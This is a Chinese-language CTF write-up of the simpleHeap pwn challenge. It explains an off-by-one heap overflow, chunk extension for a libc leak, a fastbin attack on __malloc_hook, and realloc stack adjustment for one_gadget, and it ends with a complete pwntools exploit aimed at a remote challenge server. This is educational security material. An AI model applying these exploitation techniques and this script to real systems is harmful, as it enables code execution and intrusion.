1. 程式人生 > 實用技巧 >[V&N2020 公開賽]simpleHeap | Extend Chunk & Realloc

[V&N2020 公開賽]simpleHeap | Extend Chunk & Realloc

Off by One 溢位

Off by One

int Edit()
{
  signed int v1; // [rsp+Ch] [rbp-4h]
  printf("idx?");
  v1 = readint();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  printf("content:");
  read_str((__int64)qword_2020A0[v1], dword_202060[v1]);
  return puts("Done!");
}

進入 readstr():

unsigned __int64 __fastcall readstr(__int64 a1, int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i > a2 )
      break;
    if ( !read(0, (void *)((signed int)i + a1), 1uLL) )
      exit(0);
    if ( *(_BYTE *)((signed int)i + a1) == 10 )
    {
      result = (signed int)i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

讀入字串的邊界條件存在問題,對於記錄著大小為 a1 的 chunk,可以讀入 a2 + 1 個字元

利用 Off By One 可以覆蓋掉物理相鄰的下一個堆塊 size 的最後一個位元組(前提是修改的堆塊大小為 0x8 的奇數倍,詳見圖解)

即修改了物理相鄰的下一個堆塊的 size 位,若寫入一個較大的數,即可造車給 Chunk Extend (堆塊延長)

具體過程

首先如圖所示分配堆塊,最下面的 Chunk 是防止 Top Chunk 向前生長的

第二步修改 idx0 的內容,溢位一位元組覆蓋到 idx1 的 size 位,使其偽造成一個總空間為 0xe1 的 Chunk

在 free(idx1) 之後,由於 size 超出了 fastbin 的範圍,所以 idx1 釋放後會進入 unsorted bin

需要注意的是 free 會驗證 idx1 + 0xe0 的位置是不是一個 Chunk 頭,如果不是會失敗,這裡是 idx3 的 Header

unsortbin:
all: 0x55f1ebc28020 -> 0x7fed444b9b78 (main_arena + 88)

此時再分配一個 0x60 的堆塊,由於 fastbin 裡沒有 Free Chunk,程式會再 unsorted bin 的 idx1 中進行切割,如圖:

切割的過程中,切割出的 idx4(此時索引中還沒有) 成為了 unsorted bin 中新的唯一 Chunk,其 fd 指標指向 main_arena + 88

unsortbin:
all: 0x55f1ebc28090 -> 0x7fed444b9b78 (main_arena + 88)

注意到此時 idx4(此時索引中還沒有) 和 idx2 是同一個堆塊,idx4 是我們儲存過的,所以可以通過 show(idx) 洩露出 main_arena 地址

這樣就洩露出了 libc 的基址,我們希望通過覆寫 __malloc_hook 來控制程式的執行流

因為此時 idx2 和 idx4 是重疊是,所以一個 edit,一個 allocate 可以實現我們的目的

首先生成索引中的 idx4(content: 0x60)然後 delete,此時該 Chunk 釋放進入了 fastbin

然後用 idx2 寫入 Fake Chunk 的地址到 idx2/idx4 的 fd 中(__malloc_hook-0x23),為什麼是這樣 看這裡

當我們再兩次 allocate 的時候,Fake Chunk 就成功在 __malloc_hook-0x23 生成,我們通過其覆寫 __malloc_hook 劫持控制流

Realloc

直接用 one_gadget 寫入 __malloc_hook 會失敗,因為所需 getshell 條件沒有被滿足

對於這道題要使用 libc 中的 realloc 函式調整棧幀結構,使棧幀滿足 one_gadget 的條件

__realloc_hook 和 __malloc_hook 有著差不多的含義,即在呼叫 realloc/hook 的時候會檢查 hook 是否為 NULL,如果不是則先執行 hook

首先要曉得 __realloc_hook 和 __malloc_hook 在物理上的相鄰的,所以我們的 payload 可以同時覆寫這兩者

即: payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+13)

這裡的 gadget 是寫入 __realloc_hook 的,relloc+13 是寫入 __malloc_hook 的

程式的執行流是 __malloc_hook -> realloc+offset -> __realloc_hook -> one_gadget

結合 realloc 的程式碼就好理解了

realloc 在呼叫 __realloc_hook 之前,首先會執行一系列的 push 壓棧,結束前會悉數彈出

如果我們首先在 relloc+offset 開始執行,少了一些 push,會把棧幀抬高,在最後執行 one_gadget 的時候 esp 的地址會發生改變

下圖是 relloc 和 relloc+4 的除錯結果,可以看出 esp 的相對值是增大的

通過除錯構造出 one_gadget 的條件,以此 GetShell

在這道題中,需要使用 rsp+0x30 這個 one_gadget,並且從 relloc+13 開始執行,遠端即可打通

儘管載入了相同的 libc,但本地的情況不太一樣,需要慢慢調整選擇正確的 one_gadget 和 realloc+offset

EXP

from pwn import *
#ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
#libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'
libc_path = './libc-2.23.so'
elf_path = './vn_pwn_simpleHeap'
#io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
io = remote('node3.buuoj.cn', '28315')
#one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc = ELF(libc_path)
context.log_level = 'debug'

def debug():
	gdb.attach(io)
	pause()
def cmd(x):
	io.sendlineafter('choice: ', str(x))
def add(size, content):
	cmd(1)
	io.sendlineafter('size?', str(size))
	io.sendlineafter('content:', content)
def edit(idx, content):
	cmd(2)
	io.sendlineafter('idx?', str(idx))
	io.sendlineafter('content:', content)
def show(idx):
	cmd(3)
	io.sendlineafter('idx?', str(idx))
def delete(idx):
	cmd(4)
	io.sendlineafter('idx?', str(idx))

add(0x18, 'aaaa')
add(0x60, 'aaaa')
add(0x60, 'aaaa')
add(0x10, 'aaaa')
payload = 'a'*0x18 + '\xe1'
edit(0, payload)
delete(1)
add(0x60, 'aaaa')
show(2)
main_arena = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88
libc_base = main_arena - 0x3c4b20
success('main_arena: ' + hex(main_arena))
success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook'] 
realloc = libc_base + libc.symbols['__libc_realloc']
fake_chunk = malloc_hook - 0x23
add(0x60, 'aaaa') # 4 and 2
delete(4)
payload = p64(fake_chunk)
edit(2, payload)
add(0x60, 'aaaa') # 4
gadget = libc_base + one_gadget[3]
success('gadget:' + hex(gadget))
offset = [0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+offset[5])
# payload = 'a' * 0x13 + p64(gadget)
add(0x60, payload)
# success(pidof(io))
# pause()
cmd(1)
io.sendlineafter('size?', '10')
io.interactive()